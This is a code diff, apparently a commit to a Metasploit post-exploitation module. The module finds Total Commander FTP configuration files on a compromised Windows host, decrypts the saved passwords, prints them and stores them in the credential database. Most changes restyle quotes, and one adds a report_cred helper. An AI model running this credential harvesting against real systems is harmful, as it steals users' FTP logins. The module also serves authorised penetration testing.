@@ -31,7 +31,7 @@ def initialize(info={})
31
31
end
32
32
33
33
def run
34
- print_status ( " Checking Default Locations..." )
34
+ print_status ( ' Checking Default Locations...' )
35
35
check_systemroot
36
36
37
37
grab_user_profiles ( ) . each do |user |
@@ -45,25 +45,25 @@ def run
45
45
hklmpath = registry_getvaldata ( commander_key , 'FtpIniName' )
46
46
case hklmpath
47
47
when nil
48
- print_status ( " Total Commander Does not Appear to be Installed Globally" )
49
- when " wcx_ftp.ini"
48
+ print_status ( ' Total Commander Does not Appear to be Installed Globally' )
49
+ when ' wcx_ftp.ini'
50
50
print_status ( "Already Checked SYSTEMROOT" )
51
- when " .\\ wcx_ftp.ini"
51
+ when ' .\\wcx_ftp.ini'
52
52
hklminstpath = registry_getvaldata ( commander_key , 'InstallDir' ) || ''
53
53
if hklminstpath . empty?
54
- print_error ( " Unable to find InstallDir in registry, skipping wcx_ftp.ini" )
54
+ print_error ( ' Unable to find InstallDir in registry, skipping wcx_ftp.ini' )
55
55
else
56
56
check_other ( hklminstpath +'\\wcx_ftp.ini' )
57
57
end
58
58
when /APPDATA/
59
- print_status ( " Already Checked AppData" )
59
+ print_status ( ' Already Checked AppData' )
60
60
when /USERPROFILE/
61
- print_status ( " Already Checked USERPROFILE" )
61
+ print_status ( ' Already Checked USERPROFILE' )
62
62
else
63
63
check_other ( hklmpath )
64
64
end
65
65
66
- userhives = load_missing_hives ( )
66
+ userhives = load_missing_hives ( )
67
67
userhives . each do |hive |
68
68
next if hive [ 'HKU' ] == nil
69
69
print_status ( "Looking at Key #{ hive [ 'HKU' ] } " )
@@ -72,21 +72,21 @@ def run
72
72
print_status ( "HKUP: #{ hkupath } " )
73
73
case hkupath
74
74
when nil
75
- print_status ( " Total Commander Does not Appear to be Installed on This User" )
76
- when " wcx_ftp.ini"
75
+ print_status ( ' Total Commander Does not Appear to be Installed on This User' )
76
+ when ' wcx_ftp.ini'
77
77
print_status ( "Already Checked SYSTEMROOT" )
78
- when " .\\ wcx_ftp.ini"
78
+ when ' .\\wcx_ftp.ini'
79
79
hklminstpath = registry_getvaldata ( profile_commander_key , 'InstallDir' ) || ''
80
80
if hklminstpath . empty?
81
- print_error ( " Unable to find InstallDir in registry, skipping wcx_ftp.ini" )
81
+ print_error ( ' Unable to find InstallDir in registry, skipping wcx_ftp.ini' )
82
82
else
83
83
check_other ( hklminstpath +'\\wcx_ftp.ini' )
84
84
end
85
85
when /APPDATA/
86
- print_status ( " Already Checked AppData" )
86
+ print_status ( ' Already Checked AppData' )
87
87
88
88
when /USERPROFILE/
89
- print_status ( " Already Checked USERPROFILE" )
89
+ print_status ( ' Already Checked USERPROFILE' )
90
90
else
91
91
check_other ( hkupath )
92
92
end
@@ -120,36 +120,62 @@ def check_other(filename)
120
120
end
121
121
end
122
122
123
+ def report_cred ( opts )
124
+ service_data = {
125
+ address : opts [ :ip ] ,
126
+ port : opts [ :port ] ,
127
+ service_name : opts [ :service_name ] ,
128
+ protocol : 'tcp' ,
129
+ workspace_id : myworkspace_id
130
+ }
131
+
132
+ credential_data = {
133
+ module_fullname : fullname ,
134
+ post_reference_name : self . refname ,
135
+ session_id : session_db_id ,
136
+ origin_type : :session ,
137
+ private_data : opts [ :password ] ,
138
+ private_type : :password ,
139
+ username : opts [ :user ]
140
+ } . merge ( service_data )
141
+
142
+ login_data = {
143
+ core : create_credential ( credential_data ) ,
144
+ status : Metasploit ::Model ::Login ::Status ::UNTRIED ,
145
+ } . merge ( service_data )
146
+
147
+ create_credential_login ( login_data )
148
+ end
149
+
123
150
def get_ini ( filename )
124
151
config = client . fs . file . new ( filename , 'r' )
125
152
parse = config . read
126
153
ini = Rex ::Parser ::Ini . from_s ( parse )
127
154
128
155
ini . each_key do |group |
129
- next if group == " General" or group == " default" or group == " connections"
156
+ next if group == ' General' or group == ' default' or group == ' connections'
130
157
print_status ( "Processing Saved Session #{ group } " )
131
158
host = ini [ group ] [ 'host' ]
132
159
133
160
username = ini [ group ] [ 'username' ]
134
161
passwd = ini [ group ] [ 'password' ]
135
- next if passwd == nil
162
+ next if passwd == nil
136
163
passwd = decrypt ( passwd )
137
164
( host , port ) = host . split ( ':' )
138
- port = 21 if port == nil
165
+ port = 21 if port == nil
139
166
print_good ( "*** Host: #{ host } Port: #{ port } User: #{ username } Password: #{ passwd } ***" )
140
167
if session . db_record
141
168
source_id = session . db_record . id
142
169
else
143
170
source_id = nil
144
171
end
145
- report_auth_info (
146
- :host => host ,
147
- :port => port ,
148
- :sname => 'ftp' ,
149
- :source_id => source_id ,
150
- :source_type => "exploit" ,
151
- :user => username ,
152
- :pass => passwd
172
+
173
+ report_cred (
174
+ ip : host ,
175
+ port : port ,
176
+ service_name : 'ftp' ,
177
+ user : username ,
178
+ password : passwd
153
179
)
154
180
end
155
181
end
@@ -188,7 +214,7 @@ def decrypt(pwd)
188
214
b = seed ( len )
189
215
t = pwd3 [ a ]
190
216
pwd3 [ a ] = pwd3 [ b ]
191
- pwd3 [ b ] = t
217
+ pwd3 [ b ] = t
192
218
end
193
219
194
220
@@ -205,7 +231,7 @@ def decrypt(pwd)
205
231
end
206
232
207
233
208
- fpwd = ""
234
+ fpwd = ""
209
235
pwd3 [ 0 , len ] . map { |a | fpwd << a . chr }
210
236
return fpwd
211
237
0 commit comments